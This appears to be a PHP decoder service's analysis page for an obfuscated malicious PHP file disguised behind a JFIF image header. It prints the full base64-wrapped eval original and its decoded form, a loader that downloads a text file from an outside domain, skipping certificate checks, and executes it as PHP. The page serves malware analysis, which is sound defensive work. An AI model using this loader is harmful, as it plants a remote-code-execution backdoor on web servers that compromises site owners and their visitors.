Decoded Output
DownloadJFIF x x C
C "
} !1AQa "q2 #B R $3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
w !1AQ aq"2 B #3R br
$4 % &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? N m? j EP <?=
$protocol = "https";
$domain = "rohdempresarial.com/";
$file_path = "/assets/front/img/c.txt";
$url = $protocol . "://" . $domain . $file_path;
function fetch_with_curl($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // optional: skip SSL verification
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // optional: skip hostname verification
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$content = fetch_with_curl($url);
if ($content !== false) {
eval("?>" . $content);
}
Did this file decode correctly?
How would you describe this file?
Thank you for your feedback! This will help us detect malicious PHP files more accurately in the future.
Function Calls
| base64_decode | 1 |
|---|
Variables
None
Stats
| MD5 | 6893adfcccbbdb72 |
|---|---|
| Eval Count | 1 |
| Decode Time | 113 ms |
Original Code
<?php
eval(base64_decode('EEpGSUYgAQEBIHg'.'geCAgICAg'.'QyACAQECAQECAgICAgICAg'.'MFAwMDAwMGBAQDB'.'SAGICAgBiAgCAkN'.'CgkICA0KCCAgDQoNCg'.'0KDQoMDAwMIAkODw0KDA4N'.'CgwMDCAgIE'.'MBAgICAwMDBgMDBgwIIAgMDA'.'wMDAwMDAwMDAwMDAwMDAwM'.'DAwMDAwMDAwMDAwMDA'.'wMDAwMDAwMDAwMDAwMDAwMD'.'CAgIBEIIAggBAMBIiACEQED'.'EQEgICAfICABBQEBAQEB'.'ASAgICAgICAgAQID'.'BAUGIAgJDQoNCiAgIC'.'AQIAIBAwMCBAMFB'.'QQEICABfQEC'.'AyAEEQUSITFBBh'.'NRYSAicRQ'.'yICAgCCNCICAV'.'UiAgJDNiciAJDQoWFxgZGi'.'UmJygpKjQ1Njc4OTpDREVGR'.'0hJSlNUVVZXWFlaY'.'2RlZmdoaWpzdHV2d3h5ei'.'AgICAgICAgICAgICAgICAgIC'.'AgICAgICAgICAgIC'.'AgICAgICAgICAgICAgICA'.'gICAgICAgICAgICAgIC'.'AgICAgICAgICAgICAfAS'.'ADAQEBAQEBAQEB'.'ICAgICAgAQIDBAUGIAgJDQoN'.'CiAgICARIAIBAgQEAwQgBQQE'.'IAECdyABAgMRBA'.'UhMQYSQVEgYXETIjIgCB'.'RCICAgIAkjM1IgFWJ'.'yIA0KFiQ0ICUgFxgZGiYnK'.'CkqNTY3ODk6Q0'.'RFRkdISUpTVFVW'.'V1hZWmNkZWZnaGlqc3R'.'1dnd4eXogICAgICAgICA'.'gICAgICAgICAgICAgICAgI'.'CAgICAgICAgIC'.'AgICAgICAgICAgIC'.'AgICAgICAgICAg'.'ICAgICAgICAgI'.'CAgICAMA'.'wEgAhEDESA/ICB/ICAgTiA'.'gICBtPx8gICAgaiA'.'gICBFFFAgICA8Pz0NCiRw'.'cm90b2Nv'.'bCA9ICJodHRwcyI7DQ'.'okZG9tYWluI'.'D0gInJvaGRlbXByZXNhcmlhb'.'C5jb20vIjsNCiRmaWxlX3Bh'.'dGggPSAiL2Fzc2V0c'.'y9mcm9udC9pbWcvYy50eHQ'.'iOw0KJHVybCA9ICRwcm'.'90b2NvbCAuICI'.'6Ly8iIC4'.'gJGRvbWFpbiAuICRmaWxl'.'X3BhdGg7DQ'.'oNCmZ1bmN0aW9uIGZldGNoX3'.'dpdGhfY3VybCgk'.'dXJsKSB7DQogICAgJGNoI'.'D0gY3VybF9pbml0KCR1c'.'mwpOw0KICAgIGN1cmxfc2'.'V0b3B0KCRjaCwgQ1VS'.'TE9QVF9SRVRVUk5'.'UUkFOU0ZFUiwgdHJ1ZS'.'k7DQogICAgY3VybF9zZX'.'RvcHQoJGNoLCBDVVJMT1BU'.'X0NPTk5FQ1RUSU1FT1VULCA'.'xMCk7DQogICAg'.'Y3VybF9zZXR'.'vcHQoJGNoLCB'.'DVVJMT1BUX1NTT'.'F9WRVJJRllQRUVSLCB'.'mYWxzZSk7IC8'.'vIG9wdGlvbmFsO'.'iBza2lwIF'.'NTTCB2ZXJpZml'.'jYXRpb24NCi'.'AgICBjdX'.'JsX3NldG9w'.'dCgkY2gsIENVUk'.'xPUFRfU1NMX1'.'ZFUklGWUhPU1QsI'.'GZhbHNlKTsgLy8gb3'.'B0aW9uYWw6IHNraXAgaG9z'.'dG5hbWUgdmVyaWZpY2F'.'0aW9uDQogICAgJGRh'.'dGEgPSBjdXJs'.'X2V4ZWMoJGNoKTsNCiAgICB'.'jdXJsX2Nsb'.'3NlKCRjaCk7DQogI'.'CAgcmV0d'.'XJuICRkYXRhOw0K'.'fQ0KDQokY29udGVudCA'.'9IGZldGNoX3dpdGhf'.'Y3VybCgkdXJsKTsNCm'.'lmICgkY29'.'udGVudCAhPT0gZmFsc2UpIHs'.'NCiAgICBldmFsK'.'CI/PiIgLiAkY29udGV'.'udCk7DQp9'));
?>